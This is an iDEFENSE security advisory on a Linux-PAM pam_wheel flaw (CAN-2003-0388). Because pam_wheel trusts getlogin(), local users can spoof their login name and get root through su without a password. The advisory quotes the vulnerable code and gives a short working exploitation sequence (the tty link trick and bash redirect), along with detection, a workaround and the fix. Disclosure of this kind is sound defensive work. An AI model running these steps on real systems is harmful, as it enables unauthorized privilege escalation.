

Linux-PAM getlogin() Spoofing Vulnerability

IDEFENSE Security Advisory 06.16.03:

I. BACKGROUND

The Pluggable Authentication Module (PAM) is a flexible mechanism for authenticating users. More information is available at <http://www.kernel.org/pub/linux/libs/pam/>.

II. DESCRIPTION

The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in an insecure manner, thereby allowing attackers to bypass certain restrictions. The pam_wheel module is often used with su(1) to allow users belonging to a trusted group to utilize the command without supplying a password. The module utilizes the getlogin() function to determine the name of the currently logged in user. This name is then compared against a list of members of a trusted group as specified in the configuration file. The following is a snippet of the offending section of code:

```
fromsu = getlogin();
if (fromsu) {
    tpwd = getpwnam(fromsu);
}

...

...

/*
 * test if the user is a member of the group, or if the * user has the "wheel" (sic) group as its
 primary group.
 */
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {
    if (ctrl & PAM_DENY_ARG) {
        retval = PAM_PERM_DENIED;
    } else if (ctrl & PAM_TRUST_ARG) {
        retval = PAM_SUCCESS;    /* this can be a sufficient check
 */
    } else {
        retval = PAM_IGNORE;
    }
} else {
```

If the "trust" option is enabled in the pam_wheel configuration file and the "use_uid" option is disabled, any local user may spoof the username returned by getlogin() and gain access to a super-user account without supplying a password. The following is a sample exploitation scenario:

```
$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
```

```
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -
```

```
$ logname
farmer
```

```
$ ln /dev/tty tty1
$ bash < tty1
```

```
$ logname
root
```

```
$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

III. ANALYSIS

If the appropriate configuration options are enabled, and a member of the wheel group is currently logged in, any local user can spoof log entries, or, in the worst case scenario, obtain super-user privileges depending on the PAM configuration settings.

IV. DETECTION

Linux-PAM 0.77 and previous versions are vulnerable, however, the necessary configuration for exploitability must also exist. More specifically, a trust of the wheel group must exist in an application such as su(1), and the use_uid option must not be enabled. This is usually not the default situation with most Linux installations.

The following is a sample default nonvulnerable entry from /etc/pam.d/su in Redhat 7.3:

```
# Uncomment the following line to implicitly trust users in the "wheel" group.
#auth sufficient /lib/security/pam_wheel.so trust use_uid
```

The following is a sample entry in /etc/pam.d/su that would be vulnerable to the described attack:

```
# Uncomment the following line to implicitly trust users in the "wheel" group.
auth sufficient /lib/security/pam_wheel.so trust
```

V. WORKAROUND

When utilizing the pam_wheel module, enable the use_uid option. Doing so should prevent the login name spoofing from circumventing PAM restrictions.

VI. VENDOR FIX

Andrew Morgan does not plan to release a new version of Linux-PAM, however, Linux-PAM 0.78, which does fix this flaw, is obtainable via the following CVS:

<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/>

Linux distributors will be releasing their own updates as appropriate.

VII. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2003-0388 to this issue.

VIII. DISCLOSURE TIMELINE

21 OCT 2002	Issue disclosed to iDEFENSE
22 NOV 2002	Andrew Morgan (Linux-PAM maintainer) notified
23 NOV 2002	Response received from Andrew Morgan
25 NOV 2002	iDEFENSE clients notified
14 DEC 2002	Patch provided to iDEFENSE for validation
14 JAN 2003	Issue fixed in CVS
09 JUN 2003	Andrew Morgan contacted re: availability of next stable release
09 JUN 2003	vendor-sec@lst.de informed of CVS updates
16 JUN 2003	Coordinated public disclosure

X. CREDIT

Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this vulnerability.